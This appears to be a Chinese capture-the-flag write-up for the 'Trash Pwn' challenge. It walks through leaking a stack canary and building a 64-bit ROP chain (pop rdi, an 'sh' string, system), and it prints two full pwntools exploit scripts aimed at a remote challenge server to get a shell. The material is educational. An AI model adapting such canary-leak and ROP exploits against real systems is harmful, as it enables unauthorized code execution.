Trash Pwn

下载文件

1 首先使用checksec查看有什么保护

可以发现,有canary保护(Stack),堆栈不可执行(NX),地址随机化没有开启(PIE)

2 使用IDA打开看看

main函数里没有什么漏洞,注意调试时把alarm函数nop掉(计时函数)

进入Who函数

读取的s是main函数中的一个储存字符窜的数组,然后再打印字符串后面的一些东西(这里可以溢出canary)

只要控制字符的个数,就可以溢出canary,补充一个知识: canary一般的最低位的字节为0,所以溢出时64位有7个可用字节,32位的为3个可用字节.

真正的canary就需要加上\x00,才能是真正的canary.

这里就可以写获取canary的exp:

f

rom pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
#sh = remote("106.54.93.158",1234)
Num = 8 * 9 + 0 #通过计算的偏移,72个字符+ \n (回车\x0a)
sh.recvuntil("Hi you guys! What's your name?")
payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) #在打印时即可获取7个有用字符,在加上一个\x00在最低位就得到canary
print 'canary:'
print hex(canary)

好了,我们就可以通过输入名字时获取canary,查看第二个函数

buf 可以输入的长度为0x100,第二次输入就可以用基本的栈溢出了

现在我们就可修改堆栈里存储的ret值,实现控制EIP.

我们看一下字符窜表

进入调用函数:

这里就要考验观察能力了,平时做的时候都是/bin/sh,现在来个打印sh,这里我们只需修改传参的时候修改位sh就行,记录一下cmd的地址

可是传餐不像32位机器使用push传参,使用的是rdi寄存器传参,若程序中存在pop rdi + ret指令就再好不过了.

使用python  中的pwntools库查看一下pop rid 和 ret的硬编码'

硬编码位 5f c3 再使用hexeditor搜索5f c3:

发现存在,使用edb或gdb在动态调试中搜索当前的地址: 地址为:0x40147E

也可以使用指令:ROPgadget --binary Trash_Pwn --only "pop | ret"      搜索获取地址

利用思路:先是跳转到pop rdi指令的地方修改rdi的值(改为指向echo sh中的sh地址), 然后ret到system函数即可

以下是exp:

from pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
sh = remote("106.54.93.158",1234) Num = 8 * 9 + 0
sh.recvuntil("Hi you guys! What's your name?") payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) print 'canary:'
print hex(canary) sh.recvuntil("Help me to clean this trash!\n")
sys_addr = 0x40130B
pop_rdi_addr = 0x40147E
str_sh_addr = 0x404085 payload_2 = 'D' * ( 64 + Num) + p64(canary) + p64(0xdeedbeef) + p64(pop_rdi_addr) + p64(str_sh_addr) + p64(sys_addr)
#gdb.attach(sh)
sh.sendline(payload_2) sh.interactive()

拿到flag

总结:

canary的最低位字节位0,控制字符个数,溢出canary

使用pop rdi修改rdi的值,从而修改64位system的传参

2019-12-14

20:04:16

D0g3_Trash_Pwn_Writeup的更多相关文章

随机推荐

  1. Android SDK Android NDK Android Studio 官方下载地址<转>

    转自:http://www.cnblogs.com/yaotong/archive/2011/01/25/1943615.html 2016.10Android Studio 2.2.1.0https ...

  2. 网络流小记(EK&dinic&当前弧优化&费用流)

    欢 迎 来 到 网 络 瘤 的 世 界 什么是网络流? 现在我们有一座水库,周围有n个村庄,每个村庄都需要水,所以会修水管(每个水管都有一定的容量,流过的水量不能超过容量).最终水一定会流向唯一一个废 ...

  3. Vue实现音乐播放器(二)-Vue-cli脚手架安装

  4. (转)linux nc命令使用详解

    linux nc命令使用详解 原文:https://www.2cto.com/os/201306/220971.html 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网 ...

  5. mysql慢查询解析-linux命令

    使用mysqldumpslow 命令可以解析mysql慢查询日志,mysqldumpslow的参数如下: -s ,是按照任何方式排序,c.t.l.r分别是按照记录次数.时间.查询时间.返回的记录数 来 ...

  6. docker搭建harbor私有镜像库

    创建harbor私有镜像库 一.部署准备: harbor软件包   在部署节点上: 1)解压harbor的软件包将harbor目录下所有文件发送到/opt/目录下   tar zxvf harbor- ...

  7. 阿里云SLB产品HTTP、HTTPS、UDP协议使用

    1.http协议测试 第一步:添加http监听服务,前端端口为8080,后端端口为80,健康检查中检查端口为后端端口80: 第二步:在绑定的服务器上安装服务,步骤如下 centos系统中启动http协 ...

  8. Java中获取大小:length、length()、size()

    1. java 中的 length 属性是针对数组说的,比如说你声明了一个数组,想知道这个数组的长度则用到了 length 这个属性. 2. java 中的 length() 方法是针对字符串说的,如 ...

  9. (二:NIO系列) Java NIO Buffer

    出处:Java NIO Buffer Buffer是一个抽象类,位于java.nio包中,主要用作缓冲区.Buffer缓冲区本质上是一块可以写入数据,然后可以从中读取数据的内存.这块内存被包装成NIO ...

  10. SCUT - 38 - 屠场的秘密 - 分解

    https://scut.online/p/38 要求是2016的倍数,把每个数分解成有2016的倍数和余数,两数余数的乘积是2016的倍数,则原数的乘积也是2016的倍数.